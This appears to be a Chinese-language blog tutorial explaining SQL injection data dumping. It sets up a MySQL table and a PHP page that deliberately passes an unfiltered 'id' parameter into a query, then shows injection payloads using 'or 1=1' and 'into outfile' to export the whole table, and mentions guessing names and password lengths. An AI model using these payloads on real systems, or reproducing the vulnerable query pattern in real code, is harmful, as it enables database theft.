sql安全之SQL注入漏洞拖库原理解析

在数据库中建立一张表：

代码如下

复制代码

CREATE TABLE `article` (

`articleid` int(11) NOT NULL AUTO_INCREMENT,

`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

`content` text CHARACTER SET utf8 NOT NULL,

PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入数据的操作我就不贴代码了，可以去下载下来直接导入到数据库。

接下来，写一个处理用户请求的页面，这里，我们故意不过滤用户提交过来的数据，留下个SQL注入漏洞用来测试。

代码如下：

代码如下

复制代码

<?php

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

$id=$_GET['id'];//id未经过滤

$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

mysql_select_db($dbname,$conn);

mysql_query('set names utf8');

$sql = "SELECT * FROM article WHERE articleid='$id'";

$result = mysql_query($sql,$conn);

$row = mysql_fetch_array($result);

echo "利用SQL注入漏洞拖库";

if (!$row){

echo "该记录不存在";

exit;

}

echo "标题 ".$row['title']."";

echo "内容 ".$row['content']."";

我们直接在浏览器中输入：

代码如下	复制代码
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录

访问结果如下：

接下来，我们就利用这个漏洞(不知道该漏洞的情况下，只能通过工具+手工检测)，演示一下如何将article表下载下来。

在地址栏中输入：

代码如下	复制代码
’ into outfile 'e:/sql.txt'%23

分析：%23是#的ASCII码，由于在地址栏中直接输入#后到数据库系统中会变成空，需要在地址栏中输入%23，那么才会变成#，进而注释掉后面的sql语句。

运行之后，打开E盘，发现多了一个sql.txt文件，打开之后，里面就是表article中的一条记录。

为什么只有一条记录呢？难道该数据表就只有一条记录？不是这样的，因为我们只检索id为1的一条记录而已，那么能否将article表中的所有记录一次性全部下载下来呢？

答案是可以的，只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

分析一下，当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候，合并到sql查询语句中变为：

代码如下	复制代码
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后，我们可以这样子构造SQL语句：

代码如下	复制代码
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

这样的话，无论如何WHERE子句总是为真，换句话说，该sql语句等价于如下：

代码如下	复制代码
SELECT * FROM article into outfile 'e:/whf.txt'#'

懂了吧，该sql语句在先执行select语句，将表article中的所以内容全部检索出来，然后再执行into outfile 'e:/whf.txt'#'将内容导出来。

不信的话，你执行下……

利用SQL注入漏洞，我们可以猜测表名，列名，用户的密码长度(LEFT函数)等等，当然了，如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等

补充：Php教程,Php与数据库